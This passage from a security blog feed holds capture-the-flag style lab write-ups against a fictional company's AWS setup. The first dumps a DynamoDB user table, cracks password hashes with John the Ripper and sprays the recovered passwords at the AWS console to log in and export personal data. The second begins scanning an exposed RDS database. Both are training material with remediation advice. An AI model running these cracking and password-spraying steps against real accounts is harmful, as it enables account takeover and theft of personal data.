</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;ProvisionedThroughput&#34;</span>: <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#34;NumberOfDecreasesToday&#34;</span>: 0,
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#34;ReadCapacityUnits&#34;</span>: 0,
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#34;WriteCapacityUnits&#34;</span>: <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">}</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;TableSizeBytes&#34;</span>: 7734,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;ItemCount&#34;</span>: 51,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;TableArn&#34;</span>: <span style="color:#e6db74">&#34;arn:aws:dynamodb:us-east-1:243687662613:table/analytics_app_users&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;TableId&#34;</span>: <span style="color:#e6db74">&#34;6568c0bb-bdf7-4380-877c-05b7826505ad&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;BillingModeSummary&#34;</span>: <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#34;BillingMode&#34;</span>: <span style="color:#e6db74">&#34;PAY_PER_REQUEST&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#34;LastUpdateToPayPerRequestDateTime&#34;</span>: <span style="color:#e6db74">&#34;2023-08-10T04:23:16.704000+08:00&#34;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">}</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;TableClassSummary&#34;</span>: <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#34;TableClass&#34;</span>: <span style="color:#e6db74">&#34;STANDARD&#34;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">}</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;DeletionProtectionEnabled&#34;</span>: true
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span></code></pre></div><p>We can see from the above, that there are 51 records and there is a UserID Attribute with what appears to be a String and Hash Value.  We extract the information, but it is not in an easy format to use for password cracking.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ aws --profile pentester dynamodb scan --table-name analytics_app_users --region us-east-1 &gt; output.json
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>❯ head -n <span style="color:#ae81ff">25</span> output.json
</span></span><span style="display:flex;"><span><span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;Items&#34;</span>: <span style="color:#f92672">[</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#34;UserID&#34;</span>: <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>                <span style="color:#e6db74">&#34;S&#34;</span>: <span style="color:#e6db74">&#34;nbose&#34;</span>
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">}</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#34;Role&#34;</span>: <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>                <span style="color:#e6db74">&#34;N&#34;</span>: <span style="color:#e6db74">&#34;0&#34;</span>
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">}</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#34;FirstName&#34;</span>: <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>                <span style="color:#e6db74">&#34;S&#34;</span>: <span style="color:#e6db74">&#34;Nigel&#34;</span>
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">}</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#34;LastName&#34;</span>: <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>                <span style="color:#e6db74">&#34;S&#34;</span>: <span style="color:#e6db74">&#34;Bose&#34;</span>
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">}</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#34;Email&#34;</span>: <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>                <span style="color:#e6db74">&#34;S&#34;</span>: <span style="color:#e6db74">&#34;nbose@huge-logistics.com&#34;</span>
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">}</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#34;PasswordHash&#34;</span>: <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>                <span style="color:#e6db74">&#34;S&#34;</span>: <span style="color:#e6db74">&#34;22edc41d491015e81f67da568fb2726cf739c42b2974d32d2f41163af4ccb1a3&#34;</span>
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">}</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#34;UserID&#34;</span>: <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>                <span style="color:#e6db74">&#34;S&#34;</span>: <span style="color:#e6db74">&#34;fnoye&#34;</span>
</span></span></code></pre></div><p>There are several approaches that we could take to make this easily accessible, but we will use <code>jq</code> and <code>awk</code> to get this into a CSV file which will make it easier for us to use going forward:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ jq -r <span style="color:#e6db74">&#39;.Items[] | [.UserID.S, .Role.N, .FirstName.S, .LastName.S, .Email.S, .PasswordHash.S] | @csv&#39;</span> output.json | awk <span style="color:#e6db74">&#39;BEGIN {print &#34;UserID,Role,FirstName,LastName,Email,PasswordHash&#34;} {print}&#39;</span> &gt; output.csv
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>❯ head output.csv
</span></span><span style="display:flex;"><span>UserID,Role,FirstName,LastName,Email,PasswordHash
</span></span><span style="display:flex;"><span><span style="color:#e6db74">&#34;nbose&#34;</span>,<span style="color:#e6db74">&#34;0&#34;</span>,<span style="color:#e6db74">&#34;Nigel&#34;</span>,<span style="color:#e6db74">&#34;Bose&#34;</span>,<span style="color:#e6db74">&#34;nbose@huge-logistics.com&#34;</span>,<span style="color:#e6db74">&#34;22edc41d491015e81f67da568fb2726cf739c42b2974d32d2f41163af4ccb1a3&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#e6db74">&#34;fnoye&#34;</span>,<span style="color:#e6db74">&#34;0&#34;</span>,<span style="color:#e6db74">&#34;Frank&#34;</span>,<span style="color:#e6db74">&#34;Noye&#34;</span>,<span style="color:#e6db74">&#34;fnoye@huge-logistics.com&#34;</span>,<span style="color:#e6db74">&#34;616bc4bbd5ba569131bd6fd76afbb9a69b327e2a0248a6377d86ca490460c6c8&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#e6db74">&#34;jyoshida&#34;</span>,<span style="color:#e6db74">&#34;0&#34;</span>,<span style="color:#e6db74">&#34;Jos&#34;</span>,<span style="color:#e6db74">&#34;Yoshida&#34;</span>,<span style="color:#e6db74">&#34;jyoshida@huge-logistics.com&#34;</span>,<span style="color:#e6db74">&#34;19924b2d08e2816a18b865a38b9b19fba587756cf652f9943fe07f7a7cb477cf&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#e6db74">&#34;blee&#34;</span>,<span style="color:#e6db74">&#34;0&#34;</span>,<span style="color:#e6db74">&#34;Brian&#34;</span>,<span style="color:#e6db74">&#34;Lee&#34;</span>,<span style="color:#e6db74">&#34;blee@huge-logistics.com&#34;</span>,<span style="color:#e6db74">&#34;40f123e673be9c142cd59bf3219d0f6b8219e9b99e0f9df5a7c2768ddab804e1&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#e6db74">&#34;bsato&#34;</span>,<span style="color:#e6db74">&#34;0&#34;</span>,<span style="color:#e6db74">&#34;Brian&#34;</span>,<span style="color:#e6db74">&#34;Sato&#34;</span>,<span style="color:#e6db74">&#34;bsato@huge-logistics.com&#34;</span>,<span style="color:#e6db74">&#34;631bc78fa722c499a8ce71167d5fe822d8fbaeaacfefe7ded5d2f67647e4f9da&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#e6db74">&#34;ibaker&#34;</span>,<span style="color:#e6db74">&#34;0&#34;</span>,<span style="color:#e6db74">&#34;Irene&#34;</span>,<span style="color:#e6db74">&#34;Baker&#34;</span>,<span style="color:#e6db74">&#34;ibaker@huge-logistics.com&#34;</span>,<span style="color:#e6db74">&#34;fea64339e5707795d507918d6c98925fce7e294a8690e5ed7cfd375df0295578&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#e6db74">&#34;vkawasaki&#34;</span>,<span style="color:#e6db74">&#34;0&#34;</span>,<span style="color:#e6db74">&#34;Vic&#34;</span>,<span style="color:#e6db74">&#34;Kawasaki&#34;</span>,<span style="color:#e6db74">&#34;vkawasaki@huge-logistics.com&#34;</span>,<span style="color:#e6db74">&#34;2c8c9030223e3192e96d960f19b0ecf9a9ba93175565cb987b28ec69b027ae86&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#e6db74">&#34;hstone&#34;</span>,<span style="color:#e6db74">&#34;0&#34;</span>,<span style="color:#e6db74">&#34;Helen&#34;</span>,<span style="color:#e6db74">&#34;Stone&#34;</span>,<span style="color:#e6db74">&#34;hstone@huge-logistics.com&#34;</span>,<span style="color:#e6db74">&#34;f1cb78978b5ad74ffaec55da9a0edb06c0ba52665046ada31682f082dfa1c2e7&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#e6db74">&#34;vmuller&#34;</span>,<span style="color:#e6db74">&#34;0&#34;</span>,<span style="color:#e6db74">&#34;Victor&#34;</span>,<span style="color:#e6db74">&#34;Muller&#34;</span>,<span style="color:#e6db74">&#34;vmuller@huge-logistics.com&#34;</span>,<span style="color:#e6db74">&#34;60081872664ffcaa0a26861ff96b47d35c85f56bacab7d62a11960bf955a4668&#34;</span>
</span></span></code></pre></div><p>We now need to convert this into a format that is easy for us to use with password crackers such as Hashcat and John the Ripper and will create a list with the format <code>userID:PasswordHash</code> doing a little BashFu with <code>awk</code></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ awk -F <span style="color:#e6db74">&#34;,&#34;</span> <span style="color:#e6db74">&#39;NR &gt; 1 {gsub(&#34;\&#34;&#34;, &#34;&#34;, $1); gsub(&#34;\&#34;&#34;, &#34;&#34;, $NF); print $1 &#34;:&#34; $NF}&#39;</span> output.csv &gt; user_hash.lst
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>❯ head user_hash.lst
</span></span><span style="display:flex;"><span>nbose:22edc41d491015e81f67da568fb2726cf739c42b2974d32d2f41163af4ccb1a3
</span></span><span style="display:flex;"><span>fnoye:616bc4bbd5ba569131bd6fd76afbb9a69b327e2a0248a6377d86ca490460c6c8
</span></span><span style="display:flex;"><span>jyoshida:19924b2d08e2816a18b865a38b9b19fba587756cf652f9943fe07f7a7cb477cf
</span></span><span style="display:flex;"><span>blee:40f123e673be9c142cd59bf3219d0f6b8219e9b99e0f9df5a7c2768ddab804e1
</span></span><span style="display:flex;"><span>bsato:631bc78fa722c499a8ce71167d5fe822d8fbaeaacfefe7ded5d2f67647e4f9da
</span></span><span style="display:flex;"><span>ibaker:fea64339e5707795d507918d6c98925fce7e294a8690e5ed7cfd375df0295578
</span></span><span style="display:flex;"><span>vkawasaki:2c8c9030223e3192e96d960f19b0ecf9a9ba93175565cb987b28ec69b027ae86
</span></span><span style="display:flex;"><span>hstone:f1cb78978b5ad74ffaec55da9a0edb06c0ba52665046ada31682f082dfa1c2e7
</span></span><span style="display:flex;"><span>vmuller:60081872664ffcaa0a26861ff96b47d35c85f56bacab7d62a11960bf955a4668
</span></span><span style="display:flex;"><span>tmartins:a41cdf83893f8d9530d69782c9687f90d150656a77b84f42b624a7fcd5456e77
</span></span></code></pre></div><p>Now we have a our username and password hash list, lets work out what type of hash this could be using <code>hashid</code></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ echo -n <span style="color:#e6db74">&#34;22edc41d491015e81f67da568fb2726cf739c42b2974d32d2f41163af4ccb1a3&#34;</span> | hashid
</span></span><span style="display:flex;"><span>Analyzing <span style="color:#e6db74">&#39;22edc41d491015e81f67da568fb2726cf739c42b2974d32d2f41163af4ccb1a3&#39;</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span> Snefru-256
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span> SHA-256
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span> RIPEMD-256
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span> Haval-256
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span> GOST R 34.11-94
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span> GOST CryptoPro S-Box
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span> SHA3-256
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span> Skein-256
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span> Skein-512<span style="color:#f92672">(</span>256<span style="color:#f92672">)</span>
</span></span></code></pre></div><p>Logical choice from the above list would be SHA-256 and we have been able to crack 18 of the 51 passwords using John</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ john --wordlist<span style="color:#f92672">=</span>/usr/share/wordlists/rockyou.txt --format<span style="color:#f92672">=</span>Raw-SHA256 --fork<span style="color:#f92672">=</span><span style="color:#ae81ff">4</span> user_hash.lst
</span></span><span style="display:flex;"><span>Using default input encoding: UTF-8
</span></span><span style="display:flex;"><span>Loaded <span style="color:#ae81ff">51</span> password hashes with no different salts <span style="color:#f92672">(</span>Raw-SHA256 <span style="color:#f92672">[</span>SHA256 512/512 AVX512BW 16x<span style="color:#f92672">])</span>
</span></span><span style="display:flex;"><span>Node numbers 1-4 of <span style="color:#ae81ff">4</span> <span style="color:#f92672">(</span>fork<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>logistic         <span style="color:#f92672">(</span>odas<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>Press <span style="color:#e6db74">&#39;q&#39;</span> or Ctrl-C to abort, almost any other key <span style="color:#66d9ef">for</span> status
</span></span><span style="display:flex;"><span>Password123      <span style="color:#f92672">(</span>nliu<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>Summer01         <span style="color:#f92672">(</span>vkawasaki<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>Abc123!!         <span style="color:#f92672">(</span>rstead<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>travelling08     <span style="color:#f92672">(</span>sgarcia<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>airfreight       <span style="color:#f92672">(</span>aramirez<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>R0ckY0u!         <span style="color:#f92672">(</span>gpetersen<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>Wilco6!!!        <span style="color:#f92672">(</span>fwallman<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>freightliner01   <span style="color:#f92672">(</span>isilva<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>shipping2        <span style="color:#f92672">(</span>cjoyce<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>Sparkery2*       <span style="color:#f92672">(</span>rthomas<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>Tr@vis83         <span style="color:#f92672">(</span>pmuamba<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>soccer!1         <span style="color:#f92672">(</span>pkaur<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>southbeach123    <span style="color:#f92672">(</span>nwaverly<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>montecarlo98     <span style="color:#f92672">(</span>bjohnson<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>analytical       <span style="color:#f92672">(</span>cchen<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>1logistics       <span style="color:#f92672">(</span>jyoshida<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">4</span> 6g 0:00:00:00 DONE <span style="color:#f92672">(</span>2024-07-01 15:47<span style="color:#f92672">)</span> 24.00g/s 14343Kp/s 14343Kc/s 664049KC/s !ILOVEJARE..*7¡Vamos!
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">3</span> 5g 0:00:00:00 DONE <span style="color:#f92672">(</span>2024-07-01 15:47<span style="color:#f92672">)</span> 18.51g/s 13280Kp/s 13280Kc/s 619365KC/s !Iluvmike.1@RICK.a6_123
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">2</span> 4g 0:00:00:00 DONE <span style="color:#f92672">(</span>2024-07-01 15:47<span style="color:#f92672">)</span> 14.81g/s 13280Kp/s 13280Kc/s 640522KC/s !Gw33Drag0n.abygurl69
</span></span><span style="display:flex;"><span>01summertime     <span style="color:#f92672">(</span>adell<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">1</span> 3g 0:00:00:00 DONE <span style="color:#f92672">(</span>2024-07-01 15:47<span style="color:#f92672">)</span> 10.71g/s 12806Kp/s 12806Kc/s 633329KC/s !JAYLOVE3.ie168
</span></span><span style="display:flex;"><span>Waiting <span style="color:#66d9ef">for</span> <span style="color:#ae81ff">3</span> children to terminate
</span></span><span style="display:flex;"><span>Use the <span style="color:#e6db74">&#34;--show --format=Raw-SHA256&#34;</span> options to display all of the cracked passwords reliably
</span></span><span style="display:flex;"><span>Session completed.
</span></span></code></pre></div><p>We can view these in a clean list that we will use for credential stuffing to try and get console access</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ john user_hash.lst --show --format<span style="color:#f92672">=</span>Raw-SHA256
</span></span><span style="display:flex;"><span>jyoshida:1logistics
</span></span><span style="display:flex;"><span>vkawasaki:Summer01
</span></span><span style="display:flex;"><span>aramirez:airfreight
</span></span><span style="display:flex;"><span>gpetersen:R0ckY0u!
</span></span><span style="display:flex;"><span>cchen:analytical
</span></span><span style="display:flex;"><span>rstead:Abc123!!
</span></span><span style="display:flex;"><span>sgarcia:travelling08
</span></span><span style="display:flex;"><span>adell:01summertime
</span></span><span style="display:flex;"><span>rthomas:Sparkery2*
</span></span><span style="display:flex;"><span>nliu:Password123
</span></span><span style="display:flex;"><span>isilva:freightliner01
</span></span><span style="display:flex;"><span>odas:logistic
</span></span><span style="display:flex;"><span>pmuamba:Tr@vis83
</span></span><span style="display:flex;"><span>pkaur:soccer!1
</span></span><span style="display:flex;"><span>nwaverly:southbeach123
</span></span><span style="display:flex;"><span>cjoyce:shipping2
</span></span><span style="display:flex;"><span>fwallman:Wilco6!!!
</span></span><span style="display:flex;"><span>bjohnson:montecarlo98
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">18</span> password hashes cracked, <span style="color:#ae81ff">33</span> left
</span></span></code></pre></div><p>We have piped this into vim and removed the unnecessary rows and then down some quick substitution commands to extract the usernames and passwords and then write them out to the respective files.</p>
<p>Within VIM go into command mode and enter <code>%s/:.*//g</code> which will strip away everything after the &ldquo;:&rdquo; and then save this using <code>w usernames.txt</code> and then press <code>u</code> to undo and then <code>%s/.*://g</code> which will strip away the username portion and then <code>w passwords.txt</code> and exit VIM</p>
<p>Now that we have a list of usernames and passwords, we will use <a href="https://github.com/WhiteOakSecurity/GoAWSConsoleSpray">GoAWSConsoleSpray</a> after we have installed it by running the command <code>go install github.com/WhiteOakSecurity/GoAWSConsoleSpray@latest</code> and we run it with no flags and we get the following output</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ GoAWSConsoleSpray
</span></span><span style="display:flex;"><span>Error: required flag<span style="color:#f92672">(</span>s<span style="color:#f92672">)</span> <span style="color:#e6db74">&#34;accountID&#34;</span>, <span style="color:#e6db74">&#34;passfile&#34;</span>, <span style="color:#e6db74">&#34;userfile&#34;</span> not set
</span></span><span style="display:flex;"><span>Usage:
</span></span><span style="display:flex;"><span>  GoAWSConsoleSpray <span style="color:#f92672">[</span>flags<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Flags:
</span></span><span style="display:flex;"><span>  -a, --accountID string   AWS Account ID <span style="color:#f92672">(</span>required<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>  -d, --delay int          Optional Time Delay Between Requests <span style="color:#66d9ef">for</span> rate limiting
</span></span><span style="display:flex;"><span>  -h, --help               help <span style="color:#66d9ef">for</span> GoAWSConsoleSpray
</span></span><span style="display:flex;"><span>  -p, --passfile string    Password list <span style="color:#f92672">(</span>required<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>  -x, --proxy string       HTTP or Socks proxy URL &amp; Port. Schema: proto://ip:port
</span></span><span style="display:flex;"><span>  -s, --stopOnSuccess      Stop password spraying on successful hit
</span></span><span style="display:flex;"><span>  -u, --userfile string    Username list <span style="color:#f92672">(</span>required<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>  -v, --verbose            Enable verbose logging
</span></span></code></pre></div><blockquote>
<p>This is loud and is not trying to hide itself and caution should be exercised as there is a high probability that you could get your IP Blocked by AWS and also this will show up in CloudTrail Logs</p>
</blockquote>
<p>We have found a valid username and password and then terminated the script</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ GoAWSConsoleSpray -a <span style="color:#ae81ff">243687662613</span> -u usernames.txt -p passwords.txt
</span></span><span style="display:flex;"><span>2024/07/01 16:11:20 GoAWSConsoleSpray: <span style="color:#f92672">[</span>18<span style="color:#f92672">]</span> users loaded. <span style="color:#f92672">[</span>18<span style="color:#f92672">]</span> passwords loaded. <span style="color:#f92672">[</span>324<span style="color:#f92672">]</span> potential login requests.
</span></span><span style="display:flex;"><span>2024/07/01 16:11:20 Spraying User: arn:aws:iam::243687662613:user/jyoshida
</span></span><span style="display:flex;"><span>2024/07/01 16:11:38 Spraying User: arn:aws:iam::243687662613:user/vkawasaki
</span></span><span style="display:flex;"><span>2024/07/01 16:11:55 Spraying User: arn:aws:iam::243687662613:user/aramirez
</span></span><span style="display:flex;"><span>2024/07/01 16:12:12 Spraying User: arn:aws:iam::243687662613:user/gpetersen
</span></span><span style="display:flex;"><span>2024/07/01 16:12:30 Spraying User: arn:aws:iam::243687662613:user/cchen
</span></span><span style="display:flex;"><span>2024/07/01 16:12:47 Spraying User: arn:aws:iam::243687662613:user/rstead
</span></span><span style="display:flex;"><span>2024/07/01 16:12:53 <span style="color:#f92672">(</span>rstead<span style="color:#f92672">)</span>    <span style="color:#f92672">[</span>+<span style="color:#f92672">]</span> SUCCESS:    Valid Password: Abc123!!        MFA: false
</span></span><span style="display:flex;"><span>2024/07/01 16:12:53 Spraying User: arn:aws:iam::243687662613:user/sgarcia
</span></span><span style="display:flex;"><span>2024/07/01 16:13:09 Spraying User: arn:aws:iam::243687662613:user/adell
</span></span><span style="display:flex;"><span>2024/07/01 16:13:26 Spraying User: arn:aws:iam::243687662613:user/rthomas
</span></span></code></pre></div><p>We then proceed to the AWS Console and log in with the credentials that we have found and are able to login and can see that the user has recently visited DynamoDB</p>
<p><img src="/assets/pwn_20240701161623.png" alt=""></p>
<p>We look around and we have access to the <code>user_order_logs</code> and we can explore the table and of course we are able to export this to CSV which contains PII data.</p>
<p><img src="/assets/pwn_20240701161914.png" alt=""></p>
<p>PWNED!</p>
<p>A public S3 bucket revealed more than expected, leading to a cascade of vulnerabilities stemming from common security pitfalls. From exposed credentials to lax access controls, each misstep paved the way for a series of lateral movements that culminated in a breach of sensitive data. This narrative serves as a stark reminder of the critical importance of robust defense measures and proactive security practices.</p>
<p>Remember:</p>
<ul>
<li>Avoid Storing Secrets in Applications</li>
<li>Implement Robust Access Controls</li>
<li>Enforce Strong Password Policies</li>
<li>Monitor and Audit Activity as well as implementing rate limiting to detect and prevent brute-force attacks</li>
<li>Deploy Multi-Factor authentication</li>
<li>Securely Manage Cloud Storage</li>
</ul>
]]></content>
        </item>
        
        <item>
            <title>Pnwed Labs - Pillage Exposed RDS Instances</title>
            <link>https://www.nephos.guru/posts/2024/pillagerds/</link>
            <pubDate>Thu, 27 Jun 2024 15:47:20 +0800</pubDate>
            
            <guid>https://www.nephos.guru/posts/2024/pillagerds/</guid>
            <description>&lt;p&gt;&lt;a href=&#34;https://pwnedlabs.io/labs/pillage-exposed-rds-instances&#34;&gt;Pwned Labs - Pillage Exposed RDS Instances&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&#34;scenario&#34;&gt;Scenario&lt;/h2&gt;
&lt;p&gt;In the backdrop of rising cybersecurity threats, with chatter on Telegram channels hinting at data dumps and Pastebin snippets exposing snippets of configurations, Huge Logistics is taking no chances. They&amp;rsquo;ve enlisted your team&amp;rsquo;s expertise to rigorously assess their cloud infrastructure. Armed with a list of IP addresses and endpoints, a lead emerged — an RDS endpoint: &lt;code&gt;exposed.cw9ow1llpfvz.eu-north-1.rds.amazonaws.com&lt;/code&gt;. Your mission? Dive deep into this endpoint&amp;rsquo;s security, and identify any security issues before threat actors do.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p><a href="https://pwnedlabs.io/labs/pillage-exposed-rds-instances">Pwned Labs - Pillage Exposed RDS Instances</a></p>
<h2 id="scenario">Scenario</h2>
<p>In the backdrop of rising cybersecurity threats, with chatter on Telegram channels hinting at data dumps and Pastebin snippets exposing snippets of configurations, Huge Logistics is taking no chances. They&rsquo;ve enlisted your team&rsquo;s expertise to rigorously assess their cloud infrastructure. Armed with a list of IP addresses and endpoints, a lead emerged — an RDS endpoint: <code>exposed.cw9ow1llpfvz.eu-north-1.rds.amazonaws.com</code>. Your mission? Dive deep into this endpoint&rsquo;s security, and identify any security issues before threat actors do.</p>
<h2 id="learning-outcomes">Learning Outcomes</h2>
<ul>
<li>Familiarity with Nmap and the mysql-brute script</li>
<li>Familiarity with the MySQL cli</li>
<li>An awareness of how this could be remediated and detected</li>
</ul>
<h2 id="real-world-context">Real World Context</h2>
<p>Amazon Relational Database Service (RDS) is a web service that allows for easy set up, operation, and scaling of relational databases in the cloud. Administration tasks such as hardware provisioning, database setup, patching, and backups are handled by AWS, allowing us to spend more time at the application level.</p>
<p>Amazon RDS supports several database instances including:</p>
<ul>
<li>Amazon Aurora (port 3306)</li>
<li>PostgreSQL (5432)</li>
<li>MySQL (port 3306)</li>
<li>MariaDB (port 3306)</li>
<li>Oracle Database (port 1521)</li>
<li>SQL Server (port 1433)</li>
</ul>
<p>Brute force attacks on exposed infrastructure are very common, and exposed Amazon RDS instances are no exception. Many times databases can contain highly sensitive data, so they are an attractive target. Although database default account lockout policies should prevent many noisy password brute force attacks, it may not be as effective against a more careful attacker that uses multiple IP addresses and attempts a smaller number of common usernames and passwords over a longer duration. Aside from brute force attacks, exposed infrastructure are also open to denial of service (DoS) attacks. Ultimately it&rsquo;s best no to rely on a single layer of defense (application layer security) to protect sensitive data.</p>
<p>It&rsquo;s worth noting that although in this scenario an RDS endpoint was provided, that resolves to a dynamic RDS IP address from the EC2 address pool. We could just as well connect to the IP address in this lab.</p>
<hr>
<h2 id="attack">Attack</h2>
<p>We know that we are looking for a database, so we will run <code>rustscan</code> limiting the ports to only those that are common database ports and we find that Port 3306 is open and running MySQL</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ rustscan -a exposed.cw9ow1llpfvz.eu-north-1.rds.amazonaws.com -p 1433,1521,3306,5432 -- -A
</span></span><span style="display:flex;"><span>.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
